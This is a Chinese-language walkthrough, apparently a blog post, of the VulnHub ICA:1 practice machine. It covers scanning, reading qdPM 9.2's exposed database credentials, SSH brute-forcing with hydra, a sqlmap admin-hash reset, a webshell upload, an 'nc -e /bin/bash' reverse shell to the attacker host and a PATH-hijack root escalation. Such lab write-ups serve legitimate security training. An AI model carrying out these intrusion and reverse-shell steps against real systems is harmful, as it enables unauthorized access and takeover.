靶机下载地址:https://www.vulnhub.com/entry/ica-1,748/
vulnhub靶机检测不到IP地址解决办法-CSDN博客
首先,用 netdiscover -r 192.168.152.0/24 探测靶机的ip地址
靶机IP地址为:192.168.152.186
攻击机IP地址为:192.168.152.134
使用nmap扫描靶机开放的服务和端口
开放了22,80,3306端口
渗透开始
先访问网站
是一个登录界面,用电子邮箱和用户名登录,不打算先用暴力破解,先sqlmap跑一下:
不过好像不存在sql注入,只能另辟蹊径,
预期解
这个是一个web应用,框架是qdpm 9.2
在kali上搜索一下有没有漏洞,发现有两个漏洞,依次看一下
# searchsploit qdpm 9.2
:::info
locate命令用于在系统中快速查找文件路径。
:::
是一个关于 qdPM 9.2 存在跨站请求伪造(CSRF)漏洞的Exploit。这个Exploit的目的是向受害者发送一个特制的HTML文件,利用受害者当前已登录的会话来执行恶意操作
:::info
locate命令用于在系统中快速查找文件路径。
:::
翻译可知:
数据库的密码和连接字符串存储在yml文件中。要访问yml文件,您可以访问http:///core/config/databases.yml文件并下载。
使用第二个漏洞:进行访问,得到连接数据库的用户名和密码
进行连接数据库,用户名qdpmadmin;密码:UcVQCMQk2STVeS6J
查看库
我们先去看 qdpm 库,有一个users表,看一下内容
是空的,users表中没有任何数据
换一个数据库:我们看 staff 库
这个库里有三个表,表的内容是:
其中,user表里是名字;login表里是base64加密了的密码;
我们把名字和密码放在文件上,尝试用kali上的九头蛇进行爆破靶机的ssh,这里用户名要小写,不然爆破不出来
指令要大写,爆破出来两个用户,尝试登录一下
先登录 travis 用户,得到第一个flag
再登第二个 dexter 用户,发现只有一个提示
翻译:提示说有可执行文件,并且它有一部分是可见的
使用命令:find / -perm -4000 2>/dev/null 查找具有SetUID权限的文件的命令
#以下命令可以发现系统上运行的所有SUID可执行文件。具体来说,命令将尝试查找具有root权
限的SUID的文件。不同系统适用于不同的命令,一个一个试
find / -perm -4000 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} ;
SetUID(Set User ID)权限允许一个程序在执行时以文件所有者的权限运行,而不是执行程序的用户的权限。
可以用strings命令把它的字符串全部打印出来,发现/opt/get_access 这个文件是最可疑的
因为/root/system.info文件对于普通用户是不可读的(只有root用户有读取权限)
cat命令并没有写路径,可以创建一个可执行文件,文件内容为/bin/bash,并设置为环境变量,那么我们就可能执行这个文件之后获取root权限:
echo ‘/bin/bash’ > /tmp/cat
chmod +x /tmp/cat
export PATH=/tmp:$PATH
echo $PATH
将字符串 ‘/bin/bash’ 写入了一个名为 /tmp/cat
的文件中,然后将该文件 cat
设置为可执行权限。接着,将 /tmp
目录添加到环境变量 PATH
中,最后输出 PATH
环境变量的内容,查看/tmp
是否添加到PATH
中/tmp/cat
文件现在包含了 /bin/bash
这个字符串,并且被设置为可执行文件。然后,将 /tmp
目录添加到 PATH
中,这样系统在搜索可执行文件时会优先搜索 /tmp
目录。
然后执行get_access文件进行提权,然后去到root目录拿到flag
非预期解
一个登录界面,用电子邮箱和用户名登录,不打算先用暴力破解,先burp里的fuzz跑一下,但是不存在sql注入
看到框架是qdpm9.2 去kali搜索一下有没有漏洞
在50176.txt发现漏洞:可以访问网站下的/core/config/databases.yml文件可以看到数据库的用户名和密码的明文信息
因为靶机没有删除install目录(即安装目录),所以我尝试可不可以重新安装一下,密码654321
提示安装成功
尝试登录,登录失败
试一下暴力破解,用sqlmap连接:
sqlmap -d mysql://qdpmadmin:UcVQCMQk2STVeS6J@192.168.152.186:3306/qdpm -f --banner --dump qdpm
管理员的信息存储在qdpm下的 configuration表中,密码是app_administrator_password的值,密码进行了hash加密
进行john爆破这个密码
john爆破不出来密码
因为这个密码好像挺复杂的,于是我就又搭建了另一个qdpm应用,然后用我设置的弱密码替换一下
123456 的hash值是
P
P
PE.iWYDCN28TAZXVGaQYb24opsdS3WN0
更改密码方式一(sqlmap)
sqlmap -d mysql://qdpmadmin:UcVQCMQk2STVeS6J@192.168.152.186:3306/qdpm -f --banner --sql-shell #sqlmap执行sql命令
UPDATE configuration set value=“
P
P
PE.iWYDCN28TAZXVGaQYb24opsdS3WN0” where id =2;
#更改管理员的密码
查库
SELECT schema_name FROM information_schema.schemata;
查表
SELECT table_name FROM information_schema.tables WHERE table_schema = ‘your_database_name’;
查列
SELECT column_name FROM information_schema.columns WHERE table_name = ‘your_table_name’;
进行查询一下是否修改密码成功:
根据执行的查询结果,看起来更新操作已经成功执行。查询返回了id为2的记录,其中"value"字段的值已经被更新为"
P
P
PE.iWYDCN28TAZXVGaQYb24opsdS3WN0"。
更改密码方式二(Navicat)
因为前面知道数据库的用户名和密码了,进行连接
在 qdpm 库configguration 表里有登录页面的邮箱与密码(hash加密了的,且john爆破不出来),于是进行替换
直接替换成123456,是登录不上去的,且hash值必须是qdpm应用进行加密的才可以登录
123456 经过qdpm应用进行hash加密的值是:
P
P
PE.iWYDCN28TAZXVGaQYb24opsdS3WN0
然后我们进行登录
用户名:admin@localhost.com;密码:123456,成功进入后台
找到一个文件上传的地方
上传一句话木马,然后抓包修改文件后缀,因为我上传的是gif类型的木马
虽然有报错,但是可以看见文件,就不用管
使用蚁剑连接一句话木马,连接成功,但是root文件目录打开不了,应该是权限的问题
想办法提权,使用命令搜索有SUID权限的问文件:find / -perm -4000 2>/dev/null
没有明显可以用于suid提权的命令,先用strings看一下/opt/access命令(strings命令用于查看二进制文件中可打印的字符)
发现可能是执行 cat /root/system.info 这个命令进行提权的,因为/root/system.info文件对于普通用户是不可读的(只有root用户有读取权限)
cat命令并没有写路径,可以创建一个可执行文件,文件内容为/bin/bash,并设置为环境变量,那么我们就可能执行这个文件之后获取root权限:
echo ‘/bin/bash’ > /tmp/cat
chmod +x /tmp/cat
export PATH=/tmp:$PATH
echo $PATH
将字符串 ‘/bin/bash’ 写入了一个名为 /tmp/cat
的文件中,然后将该文件 cat
设置为可执行权限。接着,将 /tmp
目录添加到环境变量 PATH
中,最后输出 PATH
环境变量的内容,查看/tmp
是否添加到PATH
中/tmp/cat
文件现在包含了 /bin/bash
这个字符串,并且被设置为可执行文件。然后,将 /tmp
目录添加到 PATH
中,这样系统在搜索可执行文件时会优先搜索 /tmp
目录。
但是在蚁剑中不知道为什么添加不了环境变量
于是使用nc命令
在kali中监听4444端口:nc -lvp 4444
在蚁剑的虚拟终端中使用命令:nc -e /bin/bash 192.168.152.134 4444
然后用命令写交互:python -c ‘import pty;pty.spawn(“/bin/bash”)’
然后再用cat提取,还是使用刚才的命令
然后执行 /opt/get_access 这个文件进行提权,拿到flag
然后再home目录下发现另外一个flag